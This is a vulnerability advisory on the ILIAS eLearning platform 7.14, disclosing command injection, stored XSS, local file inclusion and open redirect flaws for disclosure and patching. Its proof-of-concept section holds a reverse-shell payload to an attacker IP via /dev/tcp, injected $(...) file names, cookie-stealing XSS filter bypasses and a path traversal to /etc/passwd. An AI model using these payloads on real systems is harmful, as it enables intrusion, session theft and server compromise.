CVE-2022-45918: Multiple critical vulnerabilities in ILIAS eLearning platform

ILIAS is a common eLearning platform, published under an open source license. Version 7.14 is vulnerable to multiple critical vulnerabilities, ranging from XSS over LFI to command injection.

Vendor description

“Around since 1998, ILIAS is a powerful learning management system that fulfills all your requirements. Using its integrated tools, small and large businesses, universities, schools and public authorities are able to create tailored, individual learning scenarios.”

Source: https://www.ilias.de/en/

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Business recommendation**

The vendor provides a patch which should be installed immediately.

SEC Consult highly recommends to perform a thorough security review of the product conducted by security professionals to identify and resolve potential further security issues.

Vulnerability overview/description****1) Authenticated Direct OS Command Injection - CVE-2022-45915

ILIAS utilizes several third-party programs to perform tasks like creating PDF files or scanning uploaded files for known viruses. These are called using the PHP exec() function. In several instances, the arguments passed to the exec() function contain user input that is not properly sanitized.

By performing malicious configuration steps or uploading dangerous files, an attacker can execute arbitrary system commands with the rights of the web server user (www-data). The privilege required for the different instances of command injection range from low rights to admin rights.

2) Stored Cross-Site Scripting - CVE-2022-45916

Multiple stored cross-site scripting vulnerabilities were identified in ILIAS course items. These were either achieved by bypassing existing XSS filters or simply by exploiting missing input validation altogether. This results in the execution of attacker-controlled JavaScript code by the user’s browser.

The attacker requires the right to create course items, e.g., as a tutor of a course.

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3. Local File Inclusion - CVE-2022-45918**

The included SCORM editor features a debugger that gives authors insights into the current SCORM player session, as well as previous sessions. When accessing the logs of previous sessions, the debugger fails to validate the requested file path, allowing for arbitrary filesystem access.

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4. Open Redirect - CVE-2022-45917**

The function shib_logout.php redirects the user to a URL specified in the “return” parameter. Since this parameter is not validated, an attacker can use it to redirect a victim to an arbitrary website. This is a powerful tool in phishing campaigns, as it allows hiding the malicious webpage behind a link that looks like it would take you to the real ILIAS webpage.

Proof of concept****1) Authenticated Direct OS Command Injection - CVE-2022-45915

Multiple instances of command injection vulnerabilities were identified:

****a) ZIP archive upload****

Normal users with open assessments can submit their solution by uploading a ZIP archive. These archives are extracted on the server and scanned for viruses recursively. The directory and file names can be used by an attacker to inject system commands, e.g., by including a directory with the name $(touch /tmp/pwned) to the ZIP archive. Exploiting this vulnerability, an attacker is able to get a reverse shell on the ILIAS webserver with the rights of the web server user (www-data).

****b) Media object creation****

ILIAS can be configured so that users can create media objects based on files inside an "Upload Directory". Before these objects are created, the files are scanned for viruses. The file names can be used by an attacker to inject system commands. By placing a file with a name like $(touch /tmp/pwned) inside the upload directory and then creating a media object based on it, an attacker is able to execute arbitrary system commands with the rights of www-data on the server.

****c) PDF document creation****

ILIAS provides users the functionality to export content as PDF files. A user with admin rights can configure the path to the preferred PDF renderer. An attacker can use this parameter to inject system commands. Due to missing input validation it is possible to inject multiple commands. The path to wkhtmltopdf has to be included in the payload, as ILIAS checks for it. By changing the path to:

/usr/local/bin/wkhtmltopdf; bash -c "bash -i >& /dev/tcp/<IP_Address_Attacker>/13373 0>&1";

an attacker can open a reverse shell with the rights of www-data that connects to the attacker’s machine on port 13373. The reverse shell is initiated when the export function is triggered. No PDF renderer has to be installed for this vulnerability to be exploitable.

2) Stored Cross-Site Scripting - CVE-2022-45916

Multiple instances of stored cross-site scripting were identified:

****a) Several Stored XSS Attacks in Tests****

An attacker must be able to create new tests in which the JavaScript code will be embedded. If a victim then later accesses one of those tests, the XSS payload will be triggered. The “Question” input field of a test has a filter in place, which correctly removes HTML tags such as <script> or <img src="x" onerror="alert(document.cookie)">. By making use of half open HTML tags, this filter can be successfully bypassed. E.g.

<img src="x" onerror="alert(document.cookie)"

This half open HTML tag can also be used in the “Introductory Message” of a test to trigger an XSS. It’s important to end the JavaScript code with a quotation mark or space, to properly separate it from successive HTML tags, after it’s embedded into a test. Finally, the “Question” input field of the question type “Long Menu” was identified to use no filtering at all, resulting in the unrestricted use of arbitrary HTML tags such as <script>.

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**b) Stored XSS in title of course items****

An attacker with rights to create an arbitrary course item can conduct a stored XSS attack by setting the title of the element to:

" onclick="alert(document.cookie)"

When a user clicks on the button to the right of the title, the XSS payload is triggered.

****c) Stored XSS in HTML sites****

An attacker with rights to edit an HTML Learning Module can conduct a stored XSS attack, as it is allowed to insert JavaScript Code to the HTML page. Even if this behavior is intended, it is insecure and considered bad practice.

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**3) Local File Inclusion - CVE-2022-45918****

As a prerequisite, the SCORM debugger must be enabled for the whole ILIAS platform. An attacker with access to a SCORM player can open the SCORM debugger and request the logs of a previous session. By changing the value of the “logFile” query parameter of the request, they can read arbitrary files of the server’s filesystem. For example, to read the passwd file on Linux systems, an attacker can change the value of the parameter logfile to

"../../../../../../../../../etc/passwd"

****4) Open Redirect - CVE-2022-45917****

The shib_logout function is vulnerable to an open redirect. A URL that successfully uses this vulnerability to redirect to “https://www.sec-consult.com” is:

http:// ILIAS-URL/shib_logout.php?action=logout&return=https://www.sec-consult.com

Vulnerable / tested versions

The vulnerabilities were identified in ILIAS version 7.14.

However, a brief analysis of the source code suggests, that several vulnerabilities are present in versions dating back to at least 3.8.4. Hence it is assumed that most current versions of the product are affected. The vulnerabilities were partly fixed in version 7.15, a complete patch is available with version 7.16.

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